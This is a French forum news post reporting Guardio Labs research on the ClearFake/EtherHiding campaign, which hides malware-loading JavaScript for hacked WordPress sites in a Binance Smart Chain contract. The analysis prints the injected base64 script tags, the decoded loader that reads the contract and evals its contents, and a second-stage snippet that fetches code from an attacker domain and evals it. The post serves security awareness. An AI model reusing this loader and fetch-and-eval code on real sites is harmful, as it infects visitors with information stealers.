IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

  1. #1
    Chroniqueur Actualités

    Homme Profil pro
    Administrateur de base de données
    Inscrit en
    Mars 2013
    Messages
    8 608
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Canada

    Informations professionnelles :
    Activité : Administrateur de base de données

    Informations forums :
    Inscription : Mars 2013
    Messages : 8 608
    Points : 200 733
    Points
    200 733
    Par défaut La blockchain au service des cybercriminels : des hackers exploitent le réseau Binance Smart Chain
    La blockchain au service des cybercriminels : des hackers exploitent le réseau Binance Smart Chain
    pour héberger et diffuser leurs logiciels malveillants, selon des chercheurs

    Binance est une plateforme de trading de cryptomonnaies qui permet également de créer et d’exécuter des applications décentralisées et des contrats intelligents, c’est-à-dire des accords codés qui s’exécutent automatiquement lorsque certaines conditions sont remplies. Mais cette technologie innovante a aussi attiré l’attention de certains acteurs malveillants, qui ont trouvé un moyen d’utiliser le réseau Binance Smart Chain (BSC) pour héberger et diffuser leur logiciel malveillant en toute impunité.

    L’une des plus anciennes astuces de malware (des sites Web piratés prétendant que les visiteurs doivent mettre à jour leur navigateur Web avant de pouvoir afficher un contenu) a repris vie au cours des derniers mois. De nouvelles recherches montrent que les attaquants à l'origine d'un tel système ont développé un moyen ingénieux d'empêcher leurs logiciels malveillants d'être supprimés par des experts en sécurité ou par les forces de l'ordre : en hébergeant les fichiers malveillants sur une blockchain de crypto-monnaie décentralisée et pseudo-anonyme.

    En août 2023, le chercheur en sécurité Randy McEoin a écrit sur une arnaque qu'il a surnommée ClearFake, qui utilise des sites WordPress piratés pour proposer aux visiteurs une page prétendant que vous devez mettre à jour votre navigateur avant de pouvoir afficher le contenu.

    Les fausses alertes de navigateur sont spécifiques au navigateur que vous utilisez. Ainsi, si vous surfez sur le Web avec Chrome, par exemple, vous recevrez une invite de mise à jour de Chrome. Ceux qui sont trompés en cliquant sur le bouton de mise à jour verront un fichier malveillant déposé sur leur système qui tente d'installer un cheval de Troie volant des informations.

    Selon une étude menée par Guardio Labs, une unité de recherche de la société de sécurité Guardio, les escrocs ont mis en place une campagne baptisée EtherHiding, qui consiste à injecter du code Javascript malveillant dans des sites web compromis, généralement des sites WordPress. Ce code va ensuite interroger le réseau BSC en créant un contrat intelligent avec une adresse blockchain contrôlée par les attaquants. Ce contrat va renvoyer une charge utile malveillante et obfusquée, qui va à son tour contacter un serveur de commande et de contrôle (C2) pour afficher aux visiteurs des sites infectés une fausse alerte leur demandant de mettre à jour leur navigateur. Si la victime clique sur le bouton de mise à jour, elle est redirigée vers le téléchargement d’un exécutable malveillant hébergé sur Dropbox ou d’autres services légitimes de partage de fichiers.

    Le logiciel malveillant ainsi téléchargé peut être un chargeur (loader) qui va installer d’autres programmes malveillants plus sophistiqués, tels que des voleurs d’informations (stealers), des chevaux de Troie ou des logiciels espions. Parmi les logiciels malveillants observés dans cette campagne, on trouve Amadey, Lumma, RedLine, DanaBot, Raccoon, Remcos, SystemBC ou Vidar.

    Au cours des deux derniers mois environ, nous avons été confrontés à une nouvelle campagne de propagation de logiciels malveillants par « fausses mises à jour ». Dans le flux d'attaque, un site est dégradé avec une superposition très crédible exigeant une mise à jour du navigateur avant de pouvoir accéder au site. La fausse « mise à jour » s’avère être un malware voleur d’informations vicieux comme RedLine, Amadey ou Lumma.

    Cette campagne, baptisée « ClearFake », identifiée par Randy McEoin, commence son attaque sur des sites WordPress compromis où les attaquants intègrent un code JS dissimulé. Ce code initial « tête de pont » est injecté dans les pages d’articles et récupère une charge utile de deuxième étape auprès d’un serveur contrôlé par les attaquants, qui effectue ensuite le reste du site.

    Grâce à cette méthode, l’attaquant peut modifier à distance et instantanément le processus d’infection et afficher le message de son choix. Il peut changer de tactique, mettre à jour les domaines bloqués et désactiver les charges utiles détectées sans réaccéder aux sites WordPress. Dans le cas de « ClearFake », le code de la deuxième étape était hébergé sur Cloudflare Workers. Cela a été efficace jusqu'à ce que CloudFlare bloque ces comptes, interrompant potentiellement l'ensemble de la campagne.

    Pourtant, dans cette évolution de « ClearFake », nous constatons que les acteurs malveillant ont introduit une nouvelle méthode d’hébergement de code malveillant de manière anonyme et sans aucune limitation : un véritable hébergement « Bullet Proof » facilité par la Blockchain.
    Pas de crypto-arnaques ici, alors pourquoi Binance ?

    Le nouveau processus d'infection, à première vue, est le même qu'auparavant : il utilise les mêmes domaines et adresses IP, mais dès la première entrée du site WordPress compromis, nous voyons un nouveau trafic réseau inconnu dirigé vers des serveurs contrôlés par Binance. Qu’est-ce que Binance, l’une des plus grandes bourses de crypto-monnaie au monde, a à voir avec tout cela ? Les chercheurs ont commencé par examiner la nouvelle variante du code de première étape :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    <script src="https://cdn.ethers.io/lib/ethers-5.2.umd.min.js" type="application/javascript"></script>
    <script src="data:text/javascript;base64,YXN5bmMgZnVuY3Rpb24gbG9hZCgpe2xldCBwcm92aWRlcj1uZXcgZXRoZXJz
    LnByb3ZpZGVycy5Kc29uUnBjUHJvdmlkZXIoImh0dHBzOi8vYnNjLWRhdGFzZWVkMS5iaW5hbmNlLm9yZy8iKSxzaWduZXI9cHJvd
    [......]b2FkOw=="></script>
    Les deux balises de script décrites ci-dessus sont les moyens par lesquels les acteurs malveillants s’emparent de l’intégralité d’un site WordPress. Les attaquants insèrent ce code dans le modèle principal d'un site WordPress, exploitant souvent des plugins vulnérables (par exemple Balada Injector), des versions WordPress obsolètes ou en utilisant des informations d'identification de site volées acquises sur le dark web.

    Le code ci-dessus est simplement obscurci en Base64, ce qui se traduit par l'exécution de ce qui suit sur chaque page chargée à partir du site compromis :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    // include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js>
    async function load() {
        let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
            signer = provider.getSigner(),
            address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
            ABI = [
                { inputs: [{ internalType: "string", .......},
                { inputs: [], name: "get", ......},
                { inputs: [], name: "link", ....... },
            ],
            contract = new ethers.Contract(address, ABI, provider),
            link = await contract.get();
        eval(atob(link));
    }
    window.onload = load;
    Cette partie du code malveillant interroge la BlockChain BSC. Il crée une nouvelle instance de contrat en l’initialisant avec l’adresse blockchain fournie et contrôlée par l’attaquant. Il fournit également l’ABI (Application Binary Interface) qui déclare les fonctions et la structure du contrat. La fonction appelée est get(), et elle interrogera essentiellement le contrat pour renvoyer une charge utile spécifiée qui sera ensuite décodée et évaluée en tant que code JavaScript avec la fonction eval().

    Nom : victime.png
Affichages : 1558
Taille : 166,1 Ko

    BSC, ou Binance Smart Chain, lancée il y a trois ans, est la réponse de Binance à Ethereum, conçue pour exécuter plus efficacement des applications décentralisées et des « contrats intelligents ». Alors qu'Ethereum est une blockchain publique dotée de capacités de crypto-monnaie et de contrats, BSC appartient à Binance et se concentre sur les contrats : des accords codés qui exécutent automatiquement des actions lorsque certaines conditions sont remplies. Ces contrats offrent des moyens innovants de créer des applications et des processus. En raison de la nature publique et immuable de la blockchain, le code peut être hébergé « en chaîne » sans possibilité de retrait.

    C’est ce que nous voyons ici dans cette attaque : le code malveillant est hébergé et servi d’une manière qui ne peut pas être bloqué. Contrairement à son hébergement sur un service Cloudflare Worker, comme cela était atténué sur la variante précédente. Il s’agit véritablement d’une arme à double tranchant dans le domaine de la technologie décentralisée.

    Analyse du contrat intelligent malveillant

    Les chercheurs indiquent qu'ils ne peuvent pas voir le code réel utilisé pour compiler ce contrat, mais ils ont accès à son bytecode (décentralisé et transparent après tout). Une fois décompilé, voici sa fonctionnalité simple en action :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    def storage:
      stor0 is array of struct at storage 0
    
    def update(string _newName) payable: 
      require calldata.size - 4 >= 32
      require _newName <= -1
      require _newName + 35 < calldata.size
      if _newName.length > -1:
          revert with 'NH{q', 65
      require _newName + _newName.length + 36 <= calldata.size
      if bool(stor0.length):
          if bool(stor0.length) == stor0.length.field_1 < 32:
              revert with 'NH{q', 34
          if _newName.length:
              stor0[].field_0 = Array(len=_newName.length, data=_newName[all])
      else:
      {...}
    
    def get() payable: 
      if bool(stor0.length):
          if bool(stor0.length) == stor0.length.field_1 < 32:
              revert with 'NH{q', 34
              {..}
              if stor0.length.field_1:
                  if 31 < stor0.length.field_1:
                      mem[128] = uint256(stor0.field_0)
                      idx = 128
                      s = 0
                      while stor0.length.field_1 + 96 > idx:
                          mem[idx + 32] = stor0[s].field_256
                          idx = idx + 32
                          s = s + 1
                          continue 
                      return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
                  mem[128] = 256 * stor0.length.field_8
          else:
             {...}
      return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]), 
    
    def unknown1c4695f4() payable: 
     {...}
    Il s'agit d'une application de contrat simple qui utilise la fonction de stockage du contrat (la variable de tableau stor0). La méthode update() enregistre l'entrée dans ce stockage — octet par octet et la méthode get() lit le stockage et renvoie sa valeur sous forme de chaîne. De cette façon, en interagissant avec le contrat, les données peuvent être écrites ou mises à jour sur la chaîne.

    Nous pouvons le voir dans l’historique des transactions sur le BSC, à partir de la création du contrat le 9 septembre 2023 par une autre adresse contrôlée par un attaquant. Cette autre adresse, créée fin juin 2022, a été chargée en BNB (The Binance Coin) d'un montant juste suffisant pour créer et mettre à jour le contrat – des activités qui ne sont pas réellement payables, mais qui coûtent quelques frais de « gaz » habituels mineurs (entre 0,02 à 0,60 USD chacune) :
    Nom : deux.png
Affichages : 1071
Taille : 182,9 Ko

    Seule la première mise à jour du contrat est clairement un test (puisqu’elle ne comprenait en réalité que la chaîne « test »), mais toutes les suivantes sont des morceaux évidents de code JavaScript. Lorsque les premières entrées sont assez simples, ces dernières ajoutent davantage de techniques d'obscurcissement JavaScript mais continuent à faire les mêmes quelques activités simples que celles vues dans cette première entrée (après décodage depuis Base64) :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    const get_k_script = () => {
        let e = new XMLHttpRequest();
        return e.open("GET", "https://921hapudyqwdvy[.]com/vvmd54/", !1), e.send(null), e.responseText;
    };
    eval(get_k_script());
    Il s'agit exactement du même code que nous avons vu sur les variantes précédentes de ClearFake (tel que renvoyé par le service CloudFlare), seul le domaine de deuxième étape est modifié presque quotidiennement - cela montre à quel point il est facile de mettre à jour l'ensemble de la chaîne d'attaque avec une simple transaction blockchain.

    Nous constatons que chaque fois que leur domaine est « brûlé », une mise à jour de la chaîne est publiée pour échanger le code malveillant et les domaines affiliés – au moins 30 domaines malveillants et ce n’est pas fini.
    Conclusion

    L’avantage pour les escrocs d’utiliser le réseau BSC est qu’il s’agit d’un service décentralisé, anonyme et public, qui ne peut pas être censuré ou supprimé. En effet, le code hébergé sur la blockchain est immuable et accessible à tous. De plus, l’interrogation du contrat intelligent est une opération gratuite, qui était initialement conçue pour déboguer les problèmes d’exécution des contrats sans impact réel. Ainsi, les escrocs disposent d’un moyen gratuit, discret et robuste pour diffuser leur logiciel malveillant sans laisser de traces.

    Face à cette menace, Binance a déclaré être conscient du problème et avoir pris des mesures pour y remédier. La société a indiqué avoir mis sur liste noire toutes les adresses associées à la propagation du logiciel malveillant et avoir développé un modèle pour détecter les futurs contrats intelligents qui utilisent des méthodes similaires pour héberger des scripts malveillants.

    Les experts en sécurité recommandent aux utilisateurs de se méfier des alertes de mise à jour suspectes et de vérifier la source et la légitimité des fichiers qu’ils téléchargent. Ils conseillent également d’utiliser un logiciel antivirus à jour et de sauvegarder régulièrement leurs données.

    Source : Guardio Labs

    Et vous ?

    Que pensez-vous de l’utilisation du réseau BSC par les escrocs pour héberger leur logiciel malveillant? Est-ce une preuve de l’ingéniosité des hackers ou de la vulnérabilité des technologies décentralisées?
    Que pensez-vous des mesures que Binance a prises pour contrer cette menace? Sont-elles suffisantes ou faut-il renforcer la sécurité du réseau BSC?
    Quels sont les risques pour les utilisateurs de cryptomonnaies qui visitent des sites web infectés par cette campagne? Comment peuvent-ils se protéger efficacement contre ce type d’attaque?
    Contribuez au club : Corrections, suggestions, critiques, ... : Contactez le service news et Rédigez des actualités

  2. #2
    Membre expérimenté
    Homme Profil pro
    retraité
    Inscrit en
    Septembre 2014
    Messages
    608
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : retraité

    Informations forums :
    Inscription : Septembre 2014
    Messages : 608
    Points : 1 454
    Points
    1 454
    Par défaut
    Les concepteurs des navigateurs internet cherchent aussi les emmerdes avec ce type de balise : "<script src="data:text/javascript;...", non ???
    Vos avis m'intéressent. Parce que sans Javascript, ce serait des plus difficiles de faire ce type de saloperie...

Discussions similaires

  1. Réponses: 1
    Dernier message: 16/08/2021, 01h02
  2. Réponses: 1
    Dernier message: 10/07/2018, 17h51
  3. Réponses: 61
    Dernier message: 29/12/2016, 12h58
  4. Réponses: 2
    Dernier message: 09/12/2016, 18h18
  5. Réponses: 23
    Dernier message: 07/07/2010, 23h40

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo